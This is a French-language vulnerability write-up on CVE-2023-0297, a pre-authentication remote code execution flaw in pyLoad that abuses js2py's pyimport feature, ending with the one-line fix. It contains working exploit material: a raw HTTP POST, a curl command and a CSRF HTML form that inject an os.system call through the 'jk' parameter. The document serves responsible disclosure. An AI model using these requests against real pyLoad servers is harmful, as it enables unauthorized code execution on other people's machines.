
CVE-2023-0297 : L'histoire de la découverte de Pre-auth RCE dans pyLoad
L'histoire de la découverte d'une RCE pré-authentification dans pyLoad
Une vulnérabilité d'injection de code dans les versions de pyLoad antérieures à 0.5.0b3.dev31 conduit à une RCE pré-authentification en abusant de la fonctionnalité de js2py.
Vous pouvez trouver le rapport ici et le code d'exploitation ici.
pyLoad est un gestionnaire de téléchargement open source écrit en Python et administrable via une interface web. Son dépôt GitHub compte environ 2,8k étoiles au 9 janvier 2023.
Alors que j'auditais le code source de pyLoad, le code suivant a attiré mon attention :
jk = eval_js(f"{jk} f()")
La définition de la fonction eval_js est la suivante :
def eval_js(script, es6=False):
# return requests_html.HTML().render(script=script, reload=False)
return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
eval_js(f"{jk} f()") utilise la fonctionnalité de js2py qui exécute le code JavaScript f"{jk} f()" où le paramètre jk est passé par un paramètre de requête :
jk = flask.request.form["jk"]
Vous pouvez donc exécuter du code JavaScript arbitraire en requêtant l'endpoint.
Cependant, comment l'exploiter ? Étant donné que dans le contexte de js2py.eval_js(), ni XMLHttpRequest, fetch ni require (comme dans node.js) ne sont définis, les attaques SSRF ou la lecture de fichiers locaux ne sont pas possibles.
Après avoir passé du temps, j'ai trouvé une fonctionnalité intéressante de js2py :
Finally, Js2Py also supports importing any Python code from JavaScript using 'pyimport' statement:
>>> x = """pyimport urllib;
var result = urllib.urlopen('https://www.google.com/').read();
console.log(result.length)
"""
>>> js2py.eval_js(x)
18211
undefined
En utilisant cette fonctionnalité, vous pouvez utiliser des bibliothèques Python dans le contexte de js2py.eval_js() ! Étonnamment, pyimport est activé par défaut. :o
J'ai essayé un code simple qui exécute une commande système en utilisant pyimport :
$ ls /tmp/pwnd
ls: /tmp/pwnd: No such file or directory
$ python -c 'import js2py; js2py.eval_js("pyimport os; os.system(\"touch /tmp/pwnd\")")'
$ ls /tmp/pwnd
/tmp/pwnd
Comme prévu, touch /tmp/pwnd a été exécuté !
En envoyant la requête suivante, la même chose se produirait sur la cible :
POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
jk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa
La partie ;f=function%20f2(){}; dans le paramètre jk est nécessaire car cet endpoint exécute eval_js(f"{jk} f()"). Si elle n'est pas présente, le code injecté ne sera pas exécuté en raison de l'erreur name 'f' is not defined.
Notez qu'un cookie et un token CSRF ne sont pas présents dans la requête. Cela signifie que :
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://<target>/flash/addcrypted2" method="POST">
<input type="hidden" name="package" value="xxx" />
<input type="hidden" name="crypted" value="AAAA" />
<input type="hidden" name="jk" value="pyimport os;os.system("touch /tmp/pwnd");f=function f2(){};" />
<input type="hidden" name="passwords" value="aaaa" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://<target>/flash/addcrypted2'
Il suffit de désactiver la fonctionnalité pyimport.
import js2py
+js2py.disable_pyimport()
Merci à l'équipe de huntr.dev et au mainteneur de pyLoad pour leurs réponses rapides !